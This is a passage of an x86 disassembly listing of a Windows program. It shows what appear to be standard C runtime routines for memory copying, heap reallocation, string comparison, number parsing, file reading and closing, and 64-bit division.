loc_40C0E4 dd offset loc_40C0EC dd offset loc_40C0F4 dd offset loc_40C0FC dd offset loc_40C104 dd offset loc_40C10C dd offset loc_40C114 off_40C0E0 dd offset loc_40C127 ; DATA XREF: sub_40BE50+1C2r ; --------------------------------------------------------------------------- loc_40C0E4: ; DATA XREF: sub_40BE50+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40C0EC: ; DATA XREF: sub_40BE50+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40C0F4: ; DATA XREF: sub_40BE50+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40C0FC: ; DATA XREF: sub_40BE50+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40C104: ; DATA XREF: sub_40BE50+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40C10C: ; DATA XREF: sub_40BE50+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40C114: ; DATA XREF: sub_40BE50+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40C127: ; CODE XREF: sub_40BE50+1C2j ; DATA XREF: sub_40BE50:off_40C0E0o jmp off_40C130[edx*4] ; --------------------------------------------------------------------------- align 10h off_40C130 dd offset loc_40C140 ; DATA XREF: sub_40BE50+1B7r ; sub_40BE50:loc_40C034r ... dd offset loc_40C148 dd offset loc_40C158 dd offset loc_40C16C ; --------------------------------------------------------------------------- loc_40C140: ; CODE XREF: sub_40BE50+1B7j ; sub_40BE50:loc_40C034j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40C148: ; CODE XREF: sub_40BE50+1B7j ; sub_40BE50:loc_40C034j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40C158: ; CODE XREF: sub_40BE50+1B7j ; sub_40BE50:loc_40C034j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40C16C: ; CODE XREF: sub_40BE50+1B7j ; sub_40BE50:loc_40C034j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40BE50 endp ; =============== S U B R O U T I N E ======================================= sub_40C185 proc near ; CODE XREF: sub_402864+34p ; sub_402864+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_40B6D1 pop ecx pop ecx retn sub_40C185 endp ; =============== S U B R O U T I N E ======================================= sub_40C193 proc near ; CODE XREF: sub_40C200+4p arg_0 = dword ptr 4 push esi push dword_480F9C call sub_411478 mov edx, dword_480F9C pop ecx mov ecx, dword_480F98 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_40C1F2 push edx call sub_411478 add eax, 10h push eax push dword_480F9C call sub_40C4F8 add esp, 0Ch test eax, eax jnz short loc_40C1D5 retn ; --------------------------------------------------------------------------- loc_40C1D5: ; CODE XREF: sub_40C193+3Fj mov ecx, dword_480F98 sub ecx, dword_480F9C mov dword_480F9C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_480F98, ecx loc_40C1F2: ; CODE XREF: sub_40C193+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_480F98, 4 retn sub_40C193 endp ; =============== S U B R O U T I N E ======================================= sub_40C200 proc near ; CODE XREF: sub_402951+1Ap ; sub_41641E+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40C193 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_40C200 endp ; =============== S U B R O U T I N E ======================================= sub_40C212 proc near ; DATA XREF: .nsp0:00419014o push 80h call sub_40B6BF test eax, eax pop ecx mov dword_480F9C, eax jnz short loc_40C233 push 18h call sub_40D60A mov eax, dword_480F9C pop ecx loc_40C233: ; CODE XREF: sub_40C212+12j and dword ptr [eax], 0 mov eax, dword_480F9C mov dword_480F98, eax retn sub_40C212 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_40304D+1Dp ; sub_403A2E+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40C29C loc_40C260: ; CODE XREF: sub_40C250+3Cj ; sub_40C250+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_40C294 or al, al jz short loc_40C290 cmp ah, [ecx+1] jnz short loc_40C294 or ah, ah jz short loc_40C290 shr eax, 10h cmp al, [ecx+2] jnz short loc_40C294 or al, al jz short loc_40C290 cmp ah, [ecx+3] jnz short loc_40C294 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40C260 mov edi, edi loc_40C290: ; CODE XREF: sub_40C250+18j ; sub_40C250+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_40C294: ; CODE XREF: sub_40C250+14j ; sub_40C250+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_40C29C: ; CODE XREF: sub_40C250+Ej test edx, 1 jz short loc_40C2B8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_40C294 inc ecx or al, al jz short loc_40C290 test edx, 2 jz short loc_40C260 loc_40C2B8: ; CODE XREF: sub_40C250+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40C294 or al, al jz short loc_40C290 cmp ah, [ecx+1] jnz short loc_40C294 or ah, ah jz short loc_40C290 add ecx, 2 jmp short loc_40C260 sub_40C250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2D4 proc near ; CODE XREF: sub_40450F+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_40D768 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40C312 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40C31F ; --------------------------------------------------------------------------- loc_40C312: ; CODE XREF: sub_40C2D4+34j lea eax, [ebp+var_20] push eax push 0 call sub_40D653 pop ecx pop ecx loc_40C31F: ; CODE XREF: sub_40C2D4+3Cj mov eax, esi pop esi leave retn sub_40C2D4 endp ; =============== S U B R O U T I N E ======================================= sub_40C324 proc near ; CODE XREF: sub_40C3AF+4p ; sub_414438+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_40C32C: ; CODE XREF: sub_40C324+34j cmp dword_41FF84, 1 jle short loc_40C344 movzx eax, byte ptr [edi] push 8 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_40C353 ; --------------------------------------------------------------------------- loc_40C344: ; CODE XREF: sub_40C324+Fj movzx eax, byte ptr [edi] mov ecx, off_41FD78 mov al, [ecx+eax*2] and eax, 8 loc_40C353: ; CODE XREF: sub_40C324+1Ej test eax, eax jz short loc_40C35A inc edi jmp short loc_40C32C ; --------------------------------------------------------------------------- loc_40C35A: ; CODE XREF: sub_40C324+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_40C36A cmp esi, 2Bh jnz short loc_40C36E loc_40C36A: ; CODE XREF: sub_40C324+3Fj movzx esi, byte ptr [edi] inc edi loc_40C36E: ; CODE XREF: sub_40C324+44j xor ebx, ebx loc_40C370: ; CODE XREF: sub_40C324+7Bj cmp dword_41FF84, 1 jle short loc_40C385 push 4 push esi call sub_4114D9 pop ecx pop ecx jmp short loc_40C390 ; --------------------------------------------------------------------------- loc_40C385: ; CODE XREF: sub_40C324+53j mov eax, off_41FD78 mov al, [eax+esi*2] and eax, 4 loc_40C390: ; CODE XREF: sub_40C324+5Fj test eax, eax jz short loc_40C3A1 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_40C370 ; --------------------------------------------------------------------------- loc_40C3A1: ; CODE XREF: sub_40C324+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_40C3AA neg eax loc_40C3AA: ; CODE XREF: sub_40C324+82j pop edi pop esi pop ebp pop ebx retn sub_40C324 endp ; =============== S U B R O U T I N E ======================================= sub_40C3AF proc near ; CODE XREF: sub_403E11+45Cp ; sub_403E11+46Bp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40C324 pop ecx retn sub_40C3AF endp ; =============== S U B R O U T I N E ======================================= sub_40C3BA proc near ; CODE XREF: sub_40327E+62p ; sub_404475+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_40C3CF or eax, 0FFFFFFFFh jmp short loc_40C409 ; --------------------------------------------------------------------------- loc_40C3CF: ; CODE XREF: sub_40C3BA+Ej test al, 83h jz short loc_40C407 push esi call sub_41169D push esi mov edi, eax call sub_411637 push dword ptr [esi+10h] call sub_411584 add esp, 0Ch test eax, eax jge short loc_40C3F5 or edi, 0FFFFFFFFh jmp short loc_40C407 ; --------------------------------------------------------------------------- loc_40C3F5: ; CODE XREF: sub_40C3BA+34j mov eax, [esi+1Ch] test eax, eax jz short loc_40C407 push eax call sub_40B771 and dword ptr [esi+1Ch], 0 pop ecx loc_40C407: ; CODE XREF: sub_40C3BA+17j ; sub_40C3BA+39j ... mov eax, edi loc_40C409: ; CODE XREF: sub_40C3BA+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_40C3BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C410 proc near ; CODE XREF: sub_40327E+43p ; sub_404475+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_40C434 xor eax, eax jmp loc_40C4DD ; --------------------------------------------------------------------------- loc_40C434: ; CODE XREF: sub_40C410+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_40C447 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_40C453 ; --------------------------------------------------------------------------- loc_40C447: ; CODE XREF: sub_40C410+2Dj mov [ebp+arg_C], 1000h jmp short loc_40C453 ; --------------------------------------------------------------------------- loc_40C450: ; CODE XREF: sub_40C410+C4j mov ecx, [ebp+arg_0] loc_40C453: ; CODE XREF: sub_40C410+35j ; sub_40C410+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_40C485 mov eax, [esi+4] test eax, eax jz short loc_40C485 cmp ecx, eax mov edi, ecx jb short loc_40C46A mov edi, eax loc_40C46A: ; CODE XREF: sub_40C410+56j push edi push dword ptr [esi] push ebx call sub_40B210 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_40C4D0 ; --------------------------------------------------------------------------- loc_40C485: ; CODE XREF: sub_40C410+49j ; sub_40C410+50j cmp ecx, [ebp+arg_C] jb short loc_40C4B8 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_40C49B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_40C49B: ; CODE XREF: sub_40C410+80j push eax push ebx push dword ptr [esi+10h] call sub_411848 add esp, 0Ch test eax, eax jz short loc_40C4E2 cmp eax, 0FFFFFFFFh jz short loc_40C4E8 sub [ebp+arg_0], eax add ebx, eax jmp short loc_40C4D0 ; --------------------------------------------------------------------------- loc_40C4B8: ; CODE XREF: sub_40C410+78j push esi call sub_41176F cmp eax, 0FFFFFFFFh pop ecx jz short loc_40C4EC mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_40C4D0: ; CODE XREF: sub_40C410+73j ; sub_40C410+A6j cmp [ebp+arg_0], 0 jnz loc_40C450 mov eax, [ebp+arg_8] loc_40C4DD: ; CODE XREF: sub_40C410+1Fj ; sub_40C410+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C4E2: ; CODE XREF: sub_40C410+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_40C4EC ; --------------------------------------------------------------------------- loc_40C4E8: ; CODE XREF: sub_40C410+9Fj or dword ptr [esi+0Ch], 20h loc_40C4EC: ; CODE XREF: sub_40C410+B2j ; sub_40C410+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_40C4DD sub_40C410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4F8 proc near ; CODE XREF: sub_40327E+2Cp ; sub_40C193+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_40C513 push [ebp+arg_4] call sub_40B6BF pop ecx jmp loc_40C793 ; --------------------------------------------------------------------------- loc_40C513: ; CODE XREF: sub_40C4F8+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_40C528 push [ebp+arg_0] call sub_40B771 pop ecx jmp loc_40C791 ; --------------------------------------------------------------------------- loc_40C528: ; CODE XREF: sub_40C4F8+20j mov eax, dword_480F88 cmp eax, 3 jnz loc_40C638 loc_40C536: ; CODE XREF: sub_40C4F8+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_40C614 push [ebp+arg_0] call sub_40EC58 mov ebx, eax pop ecx test ebx, ebx jz loc_40C5EF cmp esi, dword_480F80 ja short loc_40C5A8 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_40F461 add esp, 0Ch test eax, eax jnz short loc_40C5A4 push esi call sub_40EFAC mov edi, eax pop ecx test edi, edi jz short loc_40C5A8 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40C588 mov eax, esi loc_40C588: ; CODE XREF: sub_40C4F8+8Cj push eax push ebx push edi call sub_40B210 push ebx call sub_40EC58 push [ebp+arg_0] mov ebx, eax push ebx call sub_40EC83 add esp, 18h loc_40C5A4: ; CODE XREF: sub_40C4F8+74j test edi, edi jnz short loc_40C5EB loc_40C5A8: ; CODE XREF: sub_40C4F8+62j ; sub_40C4F8+81j test esi, esi jnz short loc_40C5AF push 1 pop esi loc_40C5AF: ; CODE XREF: sub_40C4F8+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_480F84 call dword_417104 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_40C5EB mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_40C5D7 mov eax, esi loc_40C5D7: ; CODE XREF: sub_40C4F8+DBj push eax push ecx push edi call sub_40B210 push [ebp+arg_0] push ebx call sub_40EC83 add esp, 14h loc_40C5EB: ; CODE XREF: sub_40C4F8+AEj ; sub_40C4F8+D0j test ebx, ebx jnz short loc_40C610 loc_40C5EF: ; CODE XREF: sub_40C4F8+56j test esi, esi jnz short loc_40C5F6 push 1 pop esi loc_40C5F6: ; CODE XREF: sub_40C4F8+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_480F84 call dword_417110 ; RtlReAllocateHeap mov edi, eax loc_40C610: ; CODE XREF: sub_40C4F8+F5j test edi, edi jnz short loc_40C631 loc_40C614: ; CODE XREF: sub_40C4F8+43j cmp dword_47F96C, 0 jz short loc_40C631 push esi call sub_40EA23 test eax, eax pop ecx jnz loc_40C536 jmp loc_40C791 ; --------------------------------------------------------------------------- loc_40C631: ; CODE XREF: sub_40C4F8+11Aj ; sub_40C4F8+123j ... mov eax, edi jmp loc_40C793 ; --------------------------------------------------------------------------- loc_40C638: ; CODE XREF: sub_40C4F8+38j cmp eax, 2 jnz loc_40C753 cmp esi, 0FFFFFFE0h ja short loc_40C655 test esi, esi jbe short loc_40C652 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_40C655 ; --------------------------------------------------------------------------- loc_40C652: ; CODE XREF: sub_40C4F8+150j push 10h pop esi loc_40C655: ; CODE XREF: sub_40C4F8+14Cj ; sub_40C4F8+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_40C735 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_40F9B3 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_40C719 cmp esi, dword_41FC34 jnb short loc_40C6DD mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_40FD7B add esp, 10h test eax, eax jz short loc_40C6A3 mov edi, [ebp+arg_0] jmp short loc_40C6D5 ; --------------------------------------------------------------------------- loc_40C6A3: ; CODE XREF: sub_40C4F8+1A4j push edi call sub_40FA4F mov edi, eax pop ecx test edi, edi jz short loc_40C6DD movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_40C6BC mov eax, esi loc_40C6BC: ; CODE XREF: sub_40C4F8+1C0j push eax push [ebp+arg_0] push edi call sub_40B210 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_40FA0A add esp, 18h loc_40C6D5: ; CODE XREF: sub_40C4F8+1A9j test edi, edi jnz loc_40C631 loc_40C6DD: ; CODE XREF: sub_40C4F8+18Bj ; sub_40C4F8+1B6j push esi push 0 push dword_480F84 call dword_417104 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_40C735 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_40C6FE mov eax, esi loc_40C6FE: ; CODE XREF: sub_40C4F8+202j push eax push [ebp+arg_0] push edi call sub_40B210 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_40FA0A add esp, 18h jmp short loc_40C72D ; --------------------------------------------------------------------------- loc_40C719: ; CODE XREF: sub_40C4F8+17Fj push esi push [ebp+arg_0] push 0 push dword_480F84 call dword_417110 ; RtlReAllocateHeap mov edi, eax loc_40C72D: ; CODE XREF: sub_40C4F8+21Fj test edi, edi jnz loc_40C631 loc_40C735: ; CODE XREF: sub_40C4F8+162j ; sub_40C4F8+1F8j cmp dword_47F96C, 0 jz loc_40C631 push esi call sub_40EA23 test eax, eax pop ecx jnz loc_40C655 jmp short loc_40C791 ; --------------------------------------------------------------------------- loc_40C753: ; CODE XREF: sub_40C4F8+143j ; sub_40C4F8+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_40C77D test esi, esi jnz short loc_40C761 push 1 pop esi loc_40C761: ; CODE XREF: sub_40C4F8+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_480F84 call dword_417110 ; RtlReAllocateHeap test eax, eax jnz short loc_40C793 loc_40C77D: ; CODE XREF: sub_40C4F8+260j cmp dword_47F96C, 0 jz short loc_40C793 push esi call sub_40EA23 test eax, eax pop ecx jnz short loc_40C753 loc_40C791: ; CODE XREF: sub_40C4F8+2Bj ; sub_40C4F8+134j ... xor eax, eax loc_40C793: ; CODE XREF: sub_40C4F8+16j ; sub_40C4F8+13Bj ... pop edi pop esi pop ebx leave retn sub_40C4F8 endp ; =============== S U B R O U T I N E ======================================= sub_40C798 proc near ; CODE XREF: sub_40C7B8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_411BAE test eax, eax jnz short loc_40C7A2 retn ; --------------------------------------------------------------------------- loc_40C7A2: ; CODE XREF: sub_40C798+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_411A3E add esp, 10h retn sub_40C798 endp ; =============== S U B R O U T I N E ======================================= sub_40C7B8 proc near ; CODE XREF: sub_40327E+18p ; sub_404475+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40C798 add esp, 0Ch retn sub_40C7B8 endp ; =============== S U B R O U T I N E ======================================= sub_40C7CB proc near ; CODE XREF: sub_4037EA+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4170B8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_40C7EB call dword_417044 ; RtlGetLastWin32Error push eax call sub_411C26 pop ecx loc_40C7E7: ; CODE XREF: sub_40C7CB+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40C7EB: ; CODE XREF: sub_40C7CB+Dj test al, 1 jz short loc_40C80C test [esp+arg_4], 2 jz short loc_40C80C mov dword_47F914, 0Dh mov dword_47F918, 5 jmp short loc_40C7E7 ; --------------------------------------------------------------------------- loc_40C80C: ; CODE XREF: sub_40C7CB+22j ; sub_40C7CB+29j xor eax, eax retn sub_40C7CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C810 proc near ; CODE XREF: sub_403804+3Fp ; sub_40A143+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_40C832 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_40C873 ; --------------------------------------------------------------------------- loc_40C832: ; CODE XREF: sub_40C810+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_40C840: ; CODE XREF: sub_40C810+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40C840 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_40C86E cmp edx, [esp+8+arg_4] ja short loc_40C86E jb short loc_40C86F cmp eax, [esp+8+arg_0] jbe short loc_40C86F loc_40C86E: ; CODE XREF: sub_40C810+4Ej ; sub_40C810+54j dec esi loc_40C86F: ; CODE XREF: sub_40C810+56j ; sub_40C810+5Cj xor edx, edx mov eax, esi loc_40C873: ; CODE XREF: sub_40C810+20j pop esi pop ebx retn 10h sub_40C810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C880 proc near ; CODE XREF: sub_403804+2Dp ; sub_40A143+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_40C8A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_40C8F1 ; --------------------------------------------------------------------------- loc_40C8A1: ; CODE XREF: sub_40C880+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_40C8AF: ; CODE XREF: sub_40C880+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40C8AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_40C8DA cmp edx, [esp+4+arg_4] ja short loc_40C8DA jb short loc_40C8E2 cmp eax, [esp+4+arg_0] jbe short loc_40C8E2 loc_40C8DA: ; CODE XREF: sub_40C880+4Aj ; sub_40C880+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_40C8E2: ; CODE XREF: sub_40C880+52j ; sub_40C880+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_40C8F1: ; CODE XREF: sub_40C880+1Fj pop ebx retn 10h sub_40C880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C900 proc near ; CODE XREF: sub_403913+5Fp ; sub_403913+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40C921 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40C921: ; CODE XREF: sub_40C900+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40C93D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40C93D: ; CODE XREF: sub_40C900+27j or eax, eax jnz short loc_40C959 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_40C99A ; --------------------------------------------------------------------------- loc_40C959: ; CODE XREF: sub_40C900+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_40C967: ; CODE XREF: sub_40C900+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40C967 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_40C995 cmp edx, [esp+0Ch+arg_4] ja short loc_40C995 jb short loc_40C996 cmp eax, [esp+0Ch+arg_0] jbe short loc_40C996 loc_40C995: ; CODE XREF: sub_40C900+85j ; sub_40C900+8Bj dec esi loc_40C996: ; CODE XREF: sub_40C900+8Dj ; sub_40C900+93j xor edx, edx mov eax, esi loc_40C99A: ; CODE XREF: sub_40C900+57j dec edi jnz short loc_40C9A4 neg edx neg eax sbb edx, 0 loc_40C9A4: ; CODE XREF: sub_40C900+9Bj pop ebx pop esi pop edi retn 10h sub_40C900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C9B0 proc near ; CODE XREF: sub_403C6B+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_40C9FC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_40C9FD test eax, 1 jz short loc_40C9DD mov cl, [esi] cmp cl, [edi] jnz short loc_40CA2A inc esi inc edi dec eax jz short loc_40C9FA loc_40C9DD: ; CODE XREF: sub_40C9B0+20j ; sub_40C9B0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_40CA2A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_40CA2A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_40C9DD loc_40C9FA: ; CODE XREF: sub_40C9B0+2Bj ; sub_40C9B0+84j pop edi pop esi locret_40C9FC: ; CODE XREF: sub_40C9B0+6j retn ; --------------------------------------------------------------------------- loc_40C9FD: ; CODE XREF: sub_40C9B0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_40CA32 repe cmpsd jz short loc_40CA32 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_40CA25 cmp ch, dh jnz short loc_40CA25 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_40CA25 cmp ch, dh loc_40CA25: ; CODE XREF: sub_40C9B0+63j ; sub_40C9B0+67j ... mov eax, 0 loc_40CA2A: ; CODE XREF: sub_40C9B0+26j ; sub_40C9B0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40CA32: ; CODE XREF: sub_40C9B0+55j ; sub_40C9B0+59j test eax, eax jz short loc_40C9FA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_40CA25 dec eax jz short loc_40CA59 cmp dh, ch jnz short loc_40CA25 dec eax jz short loc_40CA59 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_40CA25 dec eax loc_40CA59: ; CODE XREF: sub_40C9B0+8Fj ; sub_40C9B0+96j pop edi pop esi retn sub_40C9B0 endp ; =============== S U B R O U T I N E ======================================= sub_40CA5C proc near ; CODE XREF: sub_40EA6B+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40CA73 add esp, 10h retn sub_40CA5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA73 proc near ; CODE XREF: sub_40CA5C+Ep ; sub_40CC7B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, 